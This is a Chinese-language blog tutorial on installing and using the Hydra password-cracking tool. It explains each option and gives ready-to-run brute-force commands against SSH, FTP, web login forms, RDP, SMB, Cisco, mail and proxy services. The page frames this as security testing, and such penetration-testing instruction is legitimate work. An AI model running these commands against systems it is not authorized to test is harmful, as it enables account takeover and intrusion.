轉載請註明出處：https://blog.csdn.net/l1028386804/article/details/86019434

注：大家可以到連結https://download.csdn.net/download/l1028386804/10902002 下載Hydra一鍵安裝包，內含冰河親做一鍵安裝指令碼，直接執行即可。

說明：
hydra是著名黑客組織thc的一款開源的暴力密碼破解工具，可以線上破解多種密碼。官網：http://www.thc.org/thc-hydra，可支援AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP, SOCKS5, SSH (v1 and v2), Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP等型別密碼。
這款暴力密碼破解工具相當強大，支援幾乎所有協議的線上密碼破解，其密碼能否被破解關鍵在於字典是否足夠強大。對於社會工程型滲透來說，有時能夠得到事半功倍的效果。本文僅從安全形度去探討測試，請勿用於非法事件。

安裝：
1.yum安裝相應依賴包

# yum install openssl-devel pcre-devel ncpfs-devel postgresql-devel libssh-devel subversion-devel libncurses-devel

2.hydra編譯安裝

# cd /usr/local/src
# wget http://freeworld.thc.org/releases/hydra-6.3-src.tar.gz
# tar zxf hydra-6.3-src.tar.gz
# cd hydra-6.3-src
# ./configure
# make
# make install
 

引數：

hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns]
[-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV] server service [OPT]
-R 繼續從上一次進度接著破解。
-S 採用SSL連結。
-s PORT 可通過這個引數指定非預設埠。
-l LOGIN 指定破解的使用者，對特定使用者破解。
-L FILE 指定使用者名稱字典。
-p PASS 小寫，指定密碼破解，少用，一般是採用密碼字典。
-P FILE 大寫，指定密碼字典。
-e ns 可選選項，n：空密碼試探，s：使用指定使用者和密碼試探。
-C FILE 使用冒號分割格式，例如“登入名:密碼”來代替-L/-P引數。
-M FILE 指定目標列表檔案一行一條。
-o FILE 指定結果輸出檔案。
-f 在使用-M引數以後，找到第一對登入名或者密碼的時候中止破解。
-t TASKS 同時執行的執行緒數，預設為16。
-w TIME 設定最大超時的時間，單位秒，預設是30s。
-v / -V 顯示詳細過程。
server 目標ip
service 指定服務名，支援的服務和協議：telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等。
OPT 可選項
 

使用：
1.手動建立使用者名稱字典和密碼字典，這裡只是為了演示，只加了幾個使用者名稱和弱口令。真正破解時，需要利用密碼字典生成器生成強大的字典
2.破解ssh：

# hydra -L users.txt -P password.txt -t 1 -vV -e ns 192.168.1.8 ssh

破解成功，直接顯示結果。也可以使用 -o 選項指定結果輸出檔案。

# hydra -L users.txt -P password.txt -t 1 -vV -e ns -o save.log 192.168.1.104 ssh

其它例項：

1.破解ssh：

# hydra -l 使用者名稱 -p 密碼字典 -t 執行緒 -vV -e ns ip ssh
# hydra -l 使用者名稱 -p 密碼字典 -t 執行緒 -o save.log -vV ip ssh

2.破解ftp：

# hydra ip ftp -l 使用者名稱 -P 密碼字典 -t 執行緒(預設16) -vV
# hydra ip ftp -l 使用者名稱 -P 密碼字典 -e ns -vV

3.get方式提交，破解web登入：

# hydra -l 使用者名稱 -p 密碼字典 -t 執行緒 -vV -e ns ip http-get /admin/
# hydra -l 使用者名稱 -p 密碼字典 -t 執行緒 -vV -e ns -f ip http-get /admin/index.php

4.post方式提交，破解web登入：

# hydra -l 使用者名稱 -P 密碼字典 -s 80 ip http-post-form "/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorry password"
# hydra -t 3 -l admin -P pass.txt -o out.txt -f 10.36.16.18 http-post-form "login.php:id=^USER^&passwd=^PASS^:wrong username or password"
（引數說明：-t同時執行緒數3，-l使用者名稱是admin，字典pass.txt，儲存為out.txt，-f 當破解了一個密碼就停止， 10.36.16.18目標ip，http-post-form表示破解是採用http的post方式提交的表單密碼破解,<title>中的內容是表示錯誤猜解的返回資訊提示。）

5.破解https：

# hydra -m /index.php -l muts -P pass.txt 10.36.16.18 https

6.破解teamspeak：

# hydra -l 使用者名稱 -P 密碼字典 -s 埠號 -vV ip teamspeak

7.破解cisco：

# hydra -P pass.txt 10.36.16.18 cisco
# hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable

8.破解smb：

# hydra -l administrator -P pass.txt 10.36.16.18 smb

9.破解pop3：

# hydra -l muts -P pass.txt my.pop3.mail pop3

10.破解rdp：

# hydra ip rdp -l administrator -P pass.txt -V

11.破解http-proxy：

# hydra -l admin -P pass.txt http-proxy://10.36.16.18

12.破解imap：

# hydra -L user.txt -p secret 10.36.16.18 imap PLAIN
# hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN
此工具強大之處遠多於以上測試，其密碼能否破解關鍵在於強大的字典，對於社工型滲透來說，有時能夠得到事半功倍的效果

附錄：
附錄1:hydra: error while loading shared libraries: libssh.so.4: cannot open shared object file: No such file or directory
如果是ubuntu系統的話，直接apt-get install cmake libssl-dev就可以了。但我係統的centOS，沒有找到libssl-dev這東西。因為手#動編譯了libssh

# yum install cmake
# cd /usr/local/src
# wget http://www.libssh.org/files/0.4/libssh-0.4.8.tar.gz
# tar zxf libssh-0.4.8.tar.gz
# cd libssh-0.4.8
# mkdir build
# cd build
# cmake -DCMAKE_INSTALL_PREFIX=/usr -DCMAKE_BUILD_TYPE=Debug -DWITH_SSH1=ON ..
# make
# make install
# /sbin/ldconfig  //要執行這句，不然會出現hydra: error while loading shared libraries: libssh.so.4: cannot open shared object file: No such file or directory

# cd /usr/local/src
# wget http://freeworld.thc.org/releases/hydra-6.3-src.tar.gz
# tar zxf hydra-6.3-src.tar.gz
# cd hydra-6.3-src
# ./configure
# make
# make install